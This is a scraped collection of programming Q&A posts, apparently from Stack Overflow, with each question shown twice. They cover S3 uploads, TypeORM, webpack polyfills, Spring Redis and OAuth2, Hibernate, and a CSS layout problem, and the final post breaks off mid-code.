```<code>const axios = require('axios');
const fs = require('fs-extra');
const { writeFileSync } = require("fs")

let long_base64_url = process.env.DATA_URL

const image = Buffer.from(long_base64_url, "base64")
let config = {
  method: 'put',
  url: 'https://XXX.execute-api.us-east-1.amazonaws.com/prod/XX/IMG_0732.jpg',
  headers: {
    'Content-Type': 'image/jpeg'
  },
  data : image
};

axios(config)
.then((response) => {
  console.log(JSON.stringify(response.data));
})
.catch((error) => {
  console.log(error);
});
</code>```

file to open in the s3 bucket perfectly

Title: uploading image buffer file to

Body:
I am importing a jpeg base 64 url . I am then turning it into a buffer . Problem is when i upload to s3 the image does not open correctly . is there any way i can do this without using AWS s3 upload to do this .
I do not want to writefile on my local directory .
any suggestions?

const axios = require('axios');
const fs = require('fs-extra');
const { writeFileSync } = require("fs")

let long_base64_url = process.env.DATA_URL

const image = Buffer.from(long_base64_url, "base64")
let config = {
  method: 'put',
  url: 'https://XXX.execute-api.us-east-1.amazonaws.com/prod/XX/IMG_0732.jpg',
  headers: {
    'Content-Type': 'image/jpeg'
  },
  data : image
};

axios(config)
.then((response) => {
  console.log(JSON.stringify(response.data));
})
.catch((error) => {
  console.log(error);
});

file to open in the s3 bucket perfectly


问:
Cannot read property 'type' of undefined. react-native typeorm
I use typeorm with sqlite3 in react-native app for android.
After create DataSource, i get error:

```<code>ERROR  TypeError: Cannot read property 'type' of undefined, js engine: hermes

ERROR  Invariant Violation: Failed to call into JavaScript module method
AppRegistry.runApplication(). Module has not been registered as callable.
Registered callable JavaScript modules (n = 11): Systrace, JSTimers, HeapCapture,
SamplingProfiler, RCTLog, RCTDeviceEventEmitter, RCTNativeAppEventEmitter,
GlobalPerformanceLogger, JSDevSupportModule, HMRClient, RCTEventEmitter.
    A frequent cause of the error is that the application entry file path is
incorrect. This can also happen when the JS bundle is corrupt or there is an early
initialization error when loading React Native., js engine: hermes

ERROR  Invariant Violation: Failed to call into JavaScript module method
AppRegistry.runApplication(). Module has not been registered as callable.
Registered callable JavaScript modules (n = 11): Systrace, JSTimers, HeapCapture,
SamplingProfiler, RCTLog, RCTDeviceEventEmitter, RCTNativeAppEventEmitter,
GlobalPerformanceLogger, JSDevSupportModule, HMRClient, RCTEventEmitter.
    A frequent cause of the error is that the application entry file path is
incorrect. This can also happen when the JS bundle is corrupt or there is an early
initialization error when loading React Native., js engine: hermes
</code>```

DataSource:

```<code>export const AppDataSource = new DataSource({
  type: "sqlite",
  database: "test",
  synchronize: false,
  logging: true,
  entities: models,
});
</code>```

Enity:

```<code>@Entity()
export class Task {
  @PrimaryColumn('text')
  public id: string;

  @Column('text', { transformer: { from: JSON.parse, to:    JSON.stringify },})
  public taskStatus: TaskStatus;

  @Column('double')
  public distance: number;

  @Column('text')
  public taskType: string;

  @Column('int')
  public createDt: number;

  @Column('text', { transformer: { from: JSON.parse, to: JSON.stringify },})
  public object: TaskObject;
};
</code>```

How to fix it?

After 5 hours of searching on the Internet, nothing came up.

Body:
I use typeorm with sqlite3 in react-native app for android.
After create DataSource, i get error:

ERROR  TypeError: Cannot read property 'type' of undefined, js engine: hermes

ERROR  Invariant Violation: Failed to call into JavaScript module method
AppRegistry.runApplication(). Module has not been registered as callable.
Registered callable JavaScript modules (n = 11): Systrace, JSTimers, HeapCapture,
SamplingProfiler, RCTLog, RCTDeviceEventEmitter, RCTNativeAppEventEmitter,
GlobalPerformanceLogger, JSDevSupportModule, HMRClient, RCTEventEmitter.
    A frequent cause of the error is that the application entry file path is
incorrect. This can also happen when the JS bundle is corrupt or there is an early
initialization error when loading React Native., js engine: hermes

ERROR  Invariant Violation: Failed to call into JavaScript module method
AppRegistry.runApplication(). Module has not been registered as callable.
Registered callable JavaScript modules (n = 11): Systrace, JSTimers, HeapCapture,
SamplingProfiler, RCTLog, RCTDeviceEventEmitter, RCTNativeAppEventEmitter,
GlobalPerformanceLogger, JSDevSupportModule, HMRClient, RCTEventEmitter.
    A frequent cause of the error is that the application entry file path is
incorrect. This can also happen when the JS bundle is corrupt or there is an early
initialization error when loading React Native., js engine: hermes

DataSource:

export const AppDataSource = new DataSource({
  type: "sqlite",
  database: "test",
  synchronize: false,
  logging: true,
  entities: models,
});

Enity:

@Entity()
export class Task {
  @PrimaryColumn('text')
  public id: string;

  @Column('text', { transformer: { from: JSON.parse, to:    JSON.stringify },})
  public taskStatus: TaskStatus;

  @Column('double')
  public distance: number;

  @Column('text')
  public taskType: string;

  @Column('int')
  public createDt: number;

  @Column('text', { transformer: { from: JSON.parse, to: JSON.stringify },})
  public object: TaskObject;
};

How to fix it?

After 5 hours of searching on the Internet, nothing came up.


问:
How to prevent pyplot.subplots() from showing figure?
In Jupyter notebook (Python) within Visual Studio Code, when I run the following, a Figure with an Axes is plotted/shown in the output of the cell.

```<code>import matplotlib.pyplot as plt
fig, ax = plt.subplots()
</code>```

Instead, I expected only that the Figure and Axes objects would be saved to fig, ax. I tried adding a semicolon after subplots(), but that made no difference. Also, adding %matplotlib inline did not help.

Is this a behavior specific to notebooks within Visual Studio Code? How can I prevent the plot showing immediately in the output when calling subplots()?

Body:
In Jupyter notebook (Python) within Visual Studio Code, when I run the following, a Figure with an Axes is plotted/shown in the output of the cell.

import matplotlib.pyplot as plt
fig, ax = plt.subplots()

Instead, I expected only that the Figure and Axes objects would be saved to fig, ax. I tried adding a semicolon after subplots(), but that made no difference. Also, adding %matplotlib inline did not help.

Is this a behavior specific to notebooks within Visual Studio Code? How can I prevent the plot showing immediately in the output when calling subplots()?


问:
How to listen redis even with sentinel mode in spring boot
I create a listener below

```<code>@Bean
public RedisMessageListenerContainer listenerContainer(JedisConnectionFactory factory) {
    RedisMessageListenerContainer container = new RedisMessageListenerContainer();
    container.setConnectionFactory(factory);

    Topic expiredTopic = new PatternTopic(this.expiredEvent);
    ArrayList<Topic> topics = new ArrayList<>();
    topics.add(expiredTopic);
    container.addMessageListener(redisMessageListener, topics);

    System.out.println("Get New listenerContainer");

    return container;
}

</code>```

properties:

```<code>spring.redis.sentinel.master=mymaster
spring.redis.sentinel.nodes=localhost:6379,localhost:6380,localhost:6381
</code>```

It looks great on the begining. But while I shutdown the master, redis vote a new master.
My listener didnt work anymore (my cache is still good).
I think the problem is "container.setConnectionFactory", but I have no idea how to fix this problem.

I try to add @Scope("prototype") but it didnt work.

Body:
I create a listener below

@Bean
public RedisMessageListenerContainer listenerContainer(JedisConnectionFactory factory) {
    RedisMessageListenerContainer container = new RedisMessageListenerContainer();
    container.setConnectionFactory(factory);

    Topic expiredTopic = new PatternTopic(this.expiredEvent);
    ArrayList<Topic> topics = new ArrayList<>();
    topics.add(expiredTopic);
    container.addMessageListener(redisMessageListener, topics);

    System.out.println("Get New listenerContainer");

    return container;
}

properties:

spring.redis.sentinel.master=mymaster
spring.redis.sentinel.nodes=localhost:6379,localhost:6380,localhost:6381

It looks great on the begining. But while I shutdown the master, redis vote a new master.
My listener didnt work anymore (my cache is still good).
I think the problem is "container.setConnectionFactory", but I have no idea how to fix this problem.

I try to add @Scope("prototype") but it didnt work.


问:
Are Navigator object values accessible by Javascript frameworks that run server side?
I'm a web application dev/DBA that moved away from active development before server side Javascript frameworks became popular so I know I have a hole in my knowledge set when it comes to this subject.  What I'm looking to find out is: if a visitor makes a content request of a site (page, image, etc) and that site uses a server side Javascript framework, does the site have access to the values from the visitor's Navigator object without serving any generated page content (nothing client side)?

I'm considering enhancing an older API I built some time back and I'd like for the caller to send some Navigator read-only values from their visitor's browser without them sending their visitor page content (the entire process needs to be accomplished during the initial request stage).

May not be possible but the question came up during a brainstorming session and I realized I don't have the expertise to answer that question.

Thanks in advance for any insights/suggestions!


问:
BREAKING CHANGE: webpack < 5 used to include polyfills for node.js core modules by default. This is no longer the case
I know there are several answers to this problem already, but none of them have worked for me.

I already installed these packages:

mysql

buffer

crypto-browserify

utils

process

And my webpack.config.js file looks like this:

```<code>module.exports = {
  resolve:
      {fallback:
          {
            "crypto": false,
            "stream": false,
            "timers": false
          }
      }
}
</code>```

I have also tried the webpack.config.js file to look like this:

```<code>module.exports = {
    resolve:
        {fallback:
            {
                "timers": require.resolve("timers-browserify"),
                "stream": require.resolve("stream-browserify"),
                "crypto": require.resolve("crypto-browserify")
            }
        }

}
</code>```

The line of code that calls mysql just looks like this (this line alone initiates the errors):

```<code>const mysql = require("mysql");
</code>```

And this is what the error says:

Compiled with problems:

ERROR in ./node_modules/mysql/lib/Connection.js 1:13-30

Module not found: Error: Can't resolve 'crypto' in
'/home/pattmayne/Prog/robotblog/robot-god-blog/node_modules/mysql/lib'

BREAKING CHANGE: webpack < 5 used to include polyfills for node.js
core modules by default. This is no longer the case. Verify if you
need this module and configure a polyfill for it.

If you want to include a polyfill, you need to:

add a fallback 'resolve.fallback: { "crypto": require.resolve("crypto-browserify") }'

install 'crypto-browserify' If you don't want to include a polyfill, you can use an empty module like this:   resolve.fallback: {
"crypto": false }

ERROR in ./node_modules/mysql/lib/Connection.js 3:10-24

Module not found: Error: Can't resolve 'net' in
'/home/pattmayne/Prog/robotblog/robot-god-blog/node_modules/mysql/lib'

ERROR in ./node_modules/mysql/lib/Connection.js 4:10-24

Module not found: Error: Can't resolve 'tls' in
'/home/pattmayne/Prog/robotblog/robot-god-blog/node_modules/mysql/lib'

ERROR in ./node_modules/mysql/lib/protocol/Auth.js 2:13-30

Module not found: Error: Can't resolve 'crypto' in
'/home/pattmayne/Prog/robotblog/robot-god-blog/node_modules/mysql/lib/protocol'

BREAKING CHANGE: webpack < 5 used to include polyfills for node.js
core modules by default. This is no longer the case. Verify if you
need this module and configure a polyfill for it.

If you want to include a polyfill, you need to:

add a fallback 'resolve.fallback: { "crypto": require.resolve("crypto-browserify") }'

install 'crypto-browserify' If you don't want to include a polyfill, you can use an empty module like this:   resolve.fallback: {
"crypto": false }

ERROR in ./node_modules/mysql/lib/protocol/Protocol.js 4:13-37

Module not found: Error: Can't resolve 'stream' in
'/home/pattmayne/Prog/robotblog/robot-god-blog/node_modules/mysql/lib/protocol'

BREAKING CHANGE: webpack < 5 used to include polyfills for node.js
core modules by default. This is no longer the case. Verify if you
need this module and configure a polyfill for it.

If you want to include a polyfill, you need to:

add a fallback 'resolve.fallback: { "stream": require.resolve("stream-browserify") }'

install 'stream-browserify' If you don't want to include a polyfill, you can use an empty module like this:   resolve.fallback: {
"stream": false }

ERROR in ./node_modules/mysql/lib/protocol/Timer.js 1:13-30

Module not found: Error: Can't resolve 'timers' in
'/home/pattmayne/Prog/robotblog/robot-god-blog/node_modules/mysql/lib/protocol'

BREAKING CHANGE: webpack < 5 used to include polyfills for node.js
core modules by default. This is no longer the case. Verify if you
need this module and configure a polyfill for it.

If you want to include a polyfill, you need to:

add a fallback 'resolve.fallback: { "timers": require.resolve("timers-browserify") }'

install 'timers-browserify' If you don't want to include a polyfill, you can use an empty module like this:   resolve.fallback: {
"timers": false }

ERROR in ./node_modules/mysql/lib/protocol/sequences/Query.js 2:9-22

Module not found: Error: Can't resolve 'fs' in
'/home/pattmayne/Prog/robotblog/robot-god-blog/node_modules/mysql/lib/protocol/sequences'

Did I install something wrong?

Body:
I know there are several answers to this problem already, but none of them have worked for me.

I already installed these packages:

mysql

buffer

crypto-browserify

utils

process

And my webpack.config.js file looks like this:

module.exports = {
  resolve:
      {fallback:
          {
            "crypto": false,
            "stream": false,
            "timers": false
          }
      }
}

I have also tried the webpack.config.js file to look like this:

module.exports = {
    resolve:
        {fallback:
            {
                "timers": require.resolve("timers-browserify"),
                "stream": require.resolve("stream-browserify"),
                "crypto": require.resolve("crypto-browserify")
            }
        }

}

The line of code that calls mysql just looks like this (this line alone initiates the errors):

const mysql = require("mysql");

And this is what the error says:

Compiled with problems:

ERROR in ./node_modules/mysql/lib/Connection.js 1:13-30

Module not found: Error: Can't resolve 'crypto' in
'/home/pattmayne/Prog/robotblog/robot-god-blog/node_modules/mysql/lib'

BREAKING CHANGE: webpack < 5 used to include polyfills for node.js
core modules by default. This is no longer the case. Verify if you
need this module and configure a polyfill for it.

If you want to include a polyfill, you need to:

add a fallback 'resolve.fallback: { "crypto": require.resolve("crypto-browserify") }'

install 'crypto-browserify' If you don't want to include a polyfill, you can use an empty module like this:   resolve.fallback: {
"crypto": false }

ERROR in ./node_modules/mysql/lib/Connection.js 3:10-24

Module not found: Error: Can't resolve 'net' in
'/home/pattmayne/Prog/robotblog/robot-god-blog/node_modules/mysql/lib'

ERROR in ./node_modules/mysql/lib/Connection.js 4:10-24

Module not found: Error: Can't resolve 'tls' in
'/home/pattmayne/Prog/robotblog/robot-god-blog/node_modules/mysql/lib'

ERROR in ./node_modules/mysql/lib/protocol/Auth.js 2:13-30

Module not found: Error: Can't resolve 'crypto' in
'/home/pattmayne/Prog/robotblog/robot-god-blog/node_modules/mysql/lib/protocol'

BREAKING CHANGE: webpack < 5 used to include polyfills for node.js
core modules by default. This is no longer the case. Verify if you
need this module and configure a polyfill for it.

If you want to include a polyfill, you need to:

add a fallback 'resolve.fallback: { "crypto": require.resolve("crypto-browserify") }'

install 'crypto-browserify' If you don't want to include a polyfill, you can use an empty module like this:   resolve.fallback: {
"crypto": false }

ERROR in ./node_modules/mysql/lib/protocol/Protocol.js 4:13-37

Module not found: Error: Can't resolve 'stream' in
'/home/pattmayne/Prog/robotblog/robot-god-blog/node_modules/mysql/lib/protocol'

BREAKING CHANGE: webpack < 5 used to include polyfills for node.js
core modules by default. This is no longer the case. Verify if you
need this module and configure a polyfill for it.

If you want to include a polyfill, you need to:

add a fallback 'resolve.fallback: { "stream": require.resolve("stream-browserify") }'

install 'stream-browserify' If you don't want to include a polyfill, you can use an empty module like this:   resolve.fallback: {
"stream": false }

ERROR in ./node_modules/mysql/lib/protocol/Timer.js 1:13-30

Module not found: Error: Can't resolve 'timers' in
'/home/pattmayne/Prog/robotblog/robot-god-blog/node_modules/mysql/lib/protocol'

BREAKING CHANGE: webpack < 5 used to include polyfills for node.js
core modules by default. This is no longer the case. Verify if you
need this module and configure a polyfill for it.

If you want to include a polyfill, you need to:

add a fallback 'resolve.fallback: { "timers": require.resolve("timers-browserify") }'

install 'timers-browserify' If you don't want to include a polyfill, you can use an empty module like this:   resolve.fallback: {
"timers": false }

ERROR in ./node_modules/mysql/lib/protocol/sequences/Query.js 2:9-22

Module not found: Error: Can't resolve 'fs' in
'/home/pattmayne/Prog/robotblog/robot-god-blog/node_modules/mysql/lib/protocol/sequences'

Did I install something wrong?


问:
SigningKeys per application, is supported in openiddict 3?
I've been working in a POC with OpenIddict v3, assessing if it covers all the use cases in our currently IDServer.

The only use-case I don't find how to workaround, it's that we have symetric or asymetric keys configured per application, and with openiddict the signingkeys seems to be defined at server level (not per application). Yes, many keys can be configured, and ther are selected according to its own algorithim, but at server level.

I need control over the signingKeys used for signing and validating the tokens of a particular application, and that signingkey has to be different from one app to another.

I'm looking into "event handler model" but I don't sure if it's the best way to acomplish this task or there is another way.

In case, event-handlers, was the best way:

where I can find examples or documentation of each event.

would be these the events to take into account ¿?:

OpenIddictServerEvents.HandleTokenRequestContext  (for genearating the token with the appropiate signingKey)

OpenIddictValidationEvents.ExtractCryptographyResponseContext (for getting the signingkey according to the app and validating the token with the correct signing-key application specific)

I would be very grateful if someone could point me in the right direction.

Thanks.


问:
JavaScript | Pulling data from WSDL/SOAP into either JSON or XML
First off, let me say I have no idea what WSDL or SOAP is.

However, I have to use it to pull data from live Canpar (shipping courier) updates.
This is the example they have provided:

```<code><?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:ws="http://ws.canparaddons.canpar.com" xmlns:xsd="http://ws.dto.canshipws.canpar.com/xsd">
   <soap:Header />
   <soap:Body>
      <ws:trackByBarcode>
         <ws:request>
            <xsd:barcode>D999999988030400000008</xsd:barcode>
            <xsd:track_shipment>0</xsd:track_shipment>
         </ws:request>
      </ws:trackByBarcode>
   </soap:Body>
</soap:Envelope>
</code>```

I can see headers and body which looks familiar, however, how would I go about even fetching this and eventually displaying it (i.e. from a JSON or whatnot)?

Kind of noob question, but any help is greatly appreciated.

Body:
First off, let me say I have no idea what WSDL or SOAP is.

However, I have to use it to pull data from live Canpar (shipping courier) updates.
This is the example they have provided:

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:ws="http://ws.canparaddons.canpar.com" xmlns:xsd="http://ws.dto.canshipws.canpar.com/xsd">
   <soap:Header />
   <soap:Body>
      <ws:trackByBarcode>
         <ws:request>
            <xsd:barcode>D999999988030400000008</xsd:barcode>
            <xsd:track_shipment>0</xsd:track_shipment>
         </ws:request>
      </ws:trackByBarcode>
   </soap:Body>
</soap:Envelope>

I can see headers and body which looks familiar, however, how would I go about even fetching this and eventually displaying it (i.e. from a JSON or whatnot)?

Kind of noob question, but any help is greatly appreciated.


问:
Saving a very large Python list output into mysql table
I want to save the output of python generated list in a table in mysql db.
Here is how the table looks like:
myapc8 table in mysql
Here is the python code:

enter image description here

Now, If I run the .csv part of the code, it works fine and I get the expected result like so:
csv output

However, If I run the part of the code I get and error messege like so:
enter image description here

I would like the resulst to be saved my database table (apc8) above just like they are saved in .csv file.
I am avoiding the solution of importing the .csv into mysql table because I want to use the same code to increase the value of "fft = 8" to say "fft = 20". csv cannot handle that.
How can i make that happen?


问:
Is it possible to insert initializer rows into entity when Id is set as uuid?
Entity class:

```<code>@Getter
@Setter
@Entity
@NoArgsConstructor
@AllArgsConstructor
public class AppRole {

    @Id
    @GeneratedValue(generator = "system-uuid")
    @GenericGenerator(name = "system-uuid", strategy = "uuid")
    private String id;
    @Column(unique = true)
    private String name;

    public AppRole(String name) {
        this.name = name;
    }

}
</code>```

import.sql:

```<code>INSERT INTO app_role(name) VALUES ('ROLE_USER');
INSERT INTO app_role(name) VALUES ('ROLE_ADMIN');
INSERT INTO app_role(name) VALUES ('ROLE_SUPER_ADMIN');
</code>```

Since in my application.properties file I've ddl-auto: create-drop set, the import.sql file gets auto executed after the entities are properly set-up by Hibernate. But the problem I have is that it doesnt auto-set Id using the uuid generator before it tries to insert "name" values into the AppRole entity. Is there a way to tell Hibernate to first generate the appropriate Ids then insert "name" values?

Body:
Entity class:

@Getter
@Setter
@Entity
@NoArgsConstructor
@AllArgsConstructor
public class AppRole {

    @Id
    @GeneratedValue(generator = "system-uuid")
    @GenericGenerator(name = "system-uuid", strategy = "uuid")
    private String id;
    @Column(unique = true)
    private String name;

    public AppRole(String name) {
        this.name = name;
    }

}

import.sql:

INSERT INTO app_role(name) VALUES ('ROLE_USER');
INSERT INTO app_role(name) VALUES ('ROLE_ADMIN');
INSERT INTO app_role(name) VALUES ('ROLE_SUPER_ADMIN');

Since in my application.properties file I've ddl-auto: create-drop set, the import.sql file gets auto executed after the entities are properly set-up by Hibernate. But the problem I have is that it doesnt auto-set Id using the uuid generator before it tries to insert "name" values into the AppRole entity. Is there a way to tell Hibernate to first generate the appropriate Ids then insert "name" values?


问:
Implement multi-factor authentication using Spring Oauth2 with custom grant type
I'm trying to implement multi-factor authentication (mfa) with spring oauth2. I have my own authorization server and I'm trying to follow this guide https://sultanov.dev/blog/multi-factor-authentication-with-spring-boot-and-oauth2. I made two custom granter CustomePasswordTokenGranter and MFATokenGranter. CustomePasswordTokenGranter will return access_token with authority pre_auth to be used with MFATokenGranter later.

```<code>CustomPasswordTokenGranter -> username, password -> Oauth2AccessToken(authorities = [PRE_AUTH])
MFATokenGranter -> access_token -> do I need to check wheter it contains PRE_AUTH or not?

public class MfaTokenGranter extends AbstractTokenGranter {
    @Override
    protected OAuth2Authentication getOAuth2Authentication(ClientDetails client, TokenRequest tokenRequest) {
        // do I need this line of code?
        if(!client.getAuthorities().contains(PRE_AUTH)) {
           throw new InvalidAuthorityException();
        }
    }
}
</code>```

btw I'm not sure if I have to check authority of a client that trying to access this granter. I want the token that was generated from CustomePasswordTokenGranter to be used with MfaTokenGranter only. Does spring automatically check that for me or I have to do it my own or it doesn't matter if I check it or not?

Body:
I'm trying to implement multi-factor authentication (mfa) with spring oauth2. I have my own authorization server and I'm trying to follow this guide https://sultanov.dev/blog/multi-factor-authentication-with-spring-boot-and-oauth2. I made two custom granter CustomePasswordTokenGranter and MFATokenGranter. CustomePasswordTokenGranter will return access_token with authority pre_auth to be used with MFATokenGranter later.

CustomPasswordTokenGranter -> username, password -> Oauth2AccessToken(authorities = [PRE_AUTH])
MFATokenGranter -> access_token -> do I need to check wheter it contains PRE_AUTH or not?

public class MfaTokenGranter extends AbstractTokenGranter {
    @Override
    protected OAuth2Authentication getOAuth2Authentication(ClientDetails client, TokenRequest tokenRequest) {
        // do I need this line of code?
        if(!client.getAuthorities().contains(PRE_AUTH)) {
           throw new InvalidAuthorityException();
        }
    }
}

btw I'm not sure if I have to check authority of a client that trying to access this granter. I want the token that was generated from CustomePasswordTokenGranter to be used with MfaTokenGranter only. Does spring automatically check that for me or I have to do it my own or it doesn't matter if I check it or not?


问:
How to dynamically create consumable inAppPurchases without publishing new version and review for AppStore?
I’m developing app, where people can create content (upload their art) and sell it on our platform to other users;
Is it possible to use inAppPurchases for this model and register every item on platform in AppStore Connect without publishing new version of the app and AppStore revue ?

What is the recommended way of monetization for Apps with User Generated Content ?
</p>


问:
My webpage is not looking as good as when i coding (Different screen sizes)
I was creating an Etc-a-Sketch game for the Odin Project curriculum.
Everything seemed ok for me, but unfortunately when i uploaded everything on Github and saw it on a bigger screen, things didn't look the same.

What i was seeing in my VM in which i was coding:

and what i am seeing in my PC screen (not via VM:)

I will also share my code in case you want to have a look.

let color = "black";
let click = true;

//Populates the Grid
function populateBoard(size){
 let board = document.querySelector(".board");
 board.style.gridTemplateColumns = `repeat(${size}, 1fr)`
 board.style.gridTemplateRows = `repeat(${size}, 1fr)`

 let amount = size*size
 for (i=0; i < amount; i++){
     let square = document.createElement('div');
     square.classList.add('div-squares')
     square.addEventListener('mouseover', colorSquare)
     square.style.backgroundColor = "white";
     board.insertAdjacentElement('beforeend', square);
  }
}

populateBoard(16);

//New grid
let newGridButton = document.querySelector("#new-grid");
newGridButton.addEventListener('click', function() {
    changeSize(newSize.value);
})

function changeSize(input){
        let squares = document.querySelectorAll("div .div-squares");
        squares.forEach((div) => div.remove());
        populateBoard(input);
}

//Function for RGB colors
function colorSquare() {
    if (click) {
      if(color === 'random') {
          this.style.backgroundColor = `hsl(${Math.random()*360}, 100%, 50%)`
      } else {
      this.style.backgroundColor = color;
      }
 }
}

//Range bar & display
let newSize = document.querySelector("#new-size");
newSize.value = 16;
let displaySize = document.querySelector("#size-label");
displaySize.textContent = newSize.value;
newSize.addEventListener('mousemove', function() {
    displaySize.textContent = newSize.value
})

function changeColor(choice) {
    color = choice;
}

//Clears the board
function resetBoard(){
    let squares = document.querySelectorAll("div .div-squares");
        squares.forEach((div) => div.style.backgroundColor = "white");
}

//Coloring Mode
document.querySelector('.board').addEventListener("click", (e) => {
    if(e.target.className != "board"){
    click = !click
    if(click){
        document.querySelector(".mode-not-coloring").textContent = "";
        document.querySelector(".mode-coloring").textContent = "Coloring"
    } else {
        document.querySelector(".mode-not-coloring").textContent = "Not Coloring";
        document.querySelector(".mode-coloring").textContent = ""
    }
  }
});

//Function:Random Color for Coloring mode
let colorText = document.querySelector(".mode-coloring");

function getRandomColor(){
    let letters = '0123456789ABCDEF';
    let colour = '#';
    for (let i=0; i <6; i++) {
        colour += letters[Math.floor(Math.random()*16)];
    }
    return colour;
}

function flashRandomColor(){
    colorText.style.color = getRandomColor();
}

setInterval(flashRandomColor,700);```
<pre class="snippet-code-css lang-css prettyprint-override"><code>/* Main Board */
.board{
    display:grid;
    width: 65vh;
    height: 65vh;
    border: 1px rgba(0, 0, 0, 0.404) solid;
    margin-top: 1vh;
    margin-right: 6vh;
    box-sizing: content-box;

}

.div-squares{
    border: 1px rgba(0, 0, 0, 0.041) solid;
    background-color: rgba(255, 255, 255, 1);
}

.div-squares:hover{
    background-color: #1381ad !important;
}

/* Header */
.title{
    display: flex;
    background-color: #31748f;
    justify-content: center;
    align-items: center;
    padding: 25px;
}

h1{
    color: #f25602;
    font-family: "Alfa Slab One";
    font-size: 50px;
    font-weight: 400;
}

body{
    display: flex;
    flex-direction: column;
    background-color: #f3cfbc;
    min-height: 100vh;
}

.content{
    padding: 40px 100px;
    display: flex;
    justify-content: center;
    gap: 200px;
}

.coloring-text{
    display: flex;
    flex-direction: row;
}
/* New Grid Button */
#new-grid{
    display: block;
    background-color: #f25602;
}

#new-grid:hover {
    box-shadow: 0 6px 6px rgba(0, 0, 0, 0.199);
    background-color: #500d04;
    color: white;
    border: 1px solid #c6c6c6;
    text-decoration: none;
    transition: all .3s ease;
    color: #d9f3ed;
}

#new-grid:active {
    border: 1px solid #300a0a;
    transition: all 0s ease;
    background-color: #7bcfb3;
    color: white;
    box-shadow: 0 6px 6px rgba(0, 0, 0, 0.199);
}

#new-size{
    width: 16vw;
    margin-bottom: 10px;
}

.left-content{
    display: flex;
    flex-direction: column;
    justify-content: space-around;
}

.mode, .mode-coloring, .mode-not-coloring{
    font-family: "Iceland";
    font-size: 40px;
}

button{
    background-color: #3ba1c9;
    color: rgb(0, 0, 0);
    font-family: "Iceland";
    border-radius: 24px;
    border: 1px solid white;
    font-size: 20px;
    width: 18vw;
    height: 3vh;
}

button:hover {
    box-shadow: 0 6px 6px rgba(0, 0, 0, 0.199);
    background-color: #042b50;
    border: 1px solid #c6c6c6;
    text-decoration: none;
    transition: all .3s ease;
    color: #d9f3ed;
}

button:active {
    border: 1px solid #300a0a;
    transition: all 0s ease;
    background-color: #7bcfb3;
    color: white;
    box-shadow: 0 6px 6px rgba(0, 0, 0, 0.199);
}

.buttons{
    display: flex;
    flex-direction: column;
    gap: 15px;
}

#clear-button{
    margin-top: 50px;
    background-color: white;
}

#clear-button:hover{
    box-shadow: 0 6px 6px rgba(0, 0, 0, 0.199);
    background-color: #042b50;
    border: 1px solid #c6c6c6;
    text-decoration: none;
    transition: all .3s ease;
    color: #d9f3ed;
}

#clear-button:active{
    border: 1px solid #300a0a;
    transition: all 0s ease;
    background-color: #7bcfb3;
    color: black;
    box-shadow: 0 6px 6px rgba(0, 0, 0, 0.199);
}

.range-bar{
    display: flex;
    flex-direction: row;
    justify-content: center;
    align-items: center;
    gap: 5px;
}

.range-bar-button{
    display: flex;
    flex-direction: column;
    /* align-items: center; */
}

#size-label{
    font-family: "Iceland";
    margin-bottom: 10px;
}

/* Footer */
footer{
    bottom: 0;
    display: flex;
    background: #1381ad;
    color: #f85903;
    font-family: "Iceland";
    font-size: 20px;
    justify-content: center;
    align-items: center;
    gap: 10px;
    margin-top: auto;
    padding: 20px;
}

.git-pic{
    transition: transform 0.3s ease-in-out;
    height: 17px;
    width: 17px;
}

.git-pic:hover{
    transform: rotate(360deg) scale(1.2);
}</code>```

<!DOCTYPE html>

    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="reset.css">
    <link rel="stylesheet" href="mystyle.css">
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Alfa Slab One">
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Iceland">
    <title>Etc-A-Sketch</title>

Etc-A-Sketch

Mode:

Coloring

                  <button onclick="changeColor('black')">Black</button>
                  <button onclick="changeColor('white')">Erasor</button>
                  <button onclick="changeColor('grey')">Gray</button>
                  <button onclick="changeColor('random')">Random</button>
                  <button id="clear-button" onclick="resetBoard()">Clear</button>

                  <input id="new-size" type="range" min="2" max="100" value="16"/>

                  <button id="new-grid">New grid size</button>

            Copyright ©

            georgan1987

```

When i run the snippet the result is also messed up in the small window.

Could please someone share with me some advices?

I searched for similar questions and probably me not using Media Query is the issue, but we haven't learned it yet in the curriculum. I checked that it's a bit further in the curriculum.

Any advice on how i could fix this without Media Query (for now), would be very helpful!

Thanks a lot in advance!

Body:
I was creating an Etc-a-Sketch game for the Odin Project curriculum.
Everything seemed ok for me, but unfortunately when i uploaded everything on Github and saw it on a bigger screen, things didn't look the same.

What i was seeing in my VM in which i was coding:

and what i am seeing in my PC screen (not via VM:)

I will also share my code in case you want to have a look.

let color = "black";
let click = true;

//Populates the Grid
function populateBoard(size){
 let board = document.querySelector(".board");
 board.style.gridTemplateColumns = `repeat(${size}, 1fr)`
 board.style.gridTemplateRows = `repeat(${size}, 1fr)`

 let amount = size*size
 for (i=0; i < amount; i++){
     let square = document.createElement('div');
     square.classList.add('div-squares')
     square.addEventListener('mouseover', colorSquare)
     square.style.backgroundColor = "white";
     board.insertAdjacentElement('beforeend', square);
  }
}

populateBoard(16);

//New grid
let newGridButton = document.querySelector("#new-grid");
newGridButton.addEventListener('click', function() {
    changeSize(newSize.value);
})

function changeSize(input){
        let squares = document.querySelectorAll("div .div-squares");
        squares.forEach((div) => div.remove());
        populateBoard(input);
}

//Function for RGB colors
function colorSquare() {
    if (click) {
      if(color === 'random') {
          this.style.backgroundColor = `hsl(${Math.random()*360}, 100%, 50%)`
      } else {
      this.style.backgroundColor = color;
      }
 }
}

//Range bar & display
let newSize = document.querySelector("#new-size");
newSize.value = 16;
let displaySize = document.querySelector("#size-label");
displaySize.textContent = newSize.value;
newSize.addEventListener('mousemove', function() {
    displaySize.textContent = newSize.value
})

function changeColor(choice) {
    color = choice;
}

//Clears the board
function resetBoard(){
    let squares = document.querySelectorAll("div .div-squares");
        squares.forEach((div) => div.style.backgroundColor = "white");
}

//Coloring Mode
document.querySelector('.board').addEventListener("click", (e) => {
    if(e.target.className != "board"){
    click = !click
    if(click){
        document.querySelector(".mode-not-coloring").textContent = "";
        document.querySelector(".mode-coloring").textContent = "Coloring"
    } else {
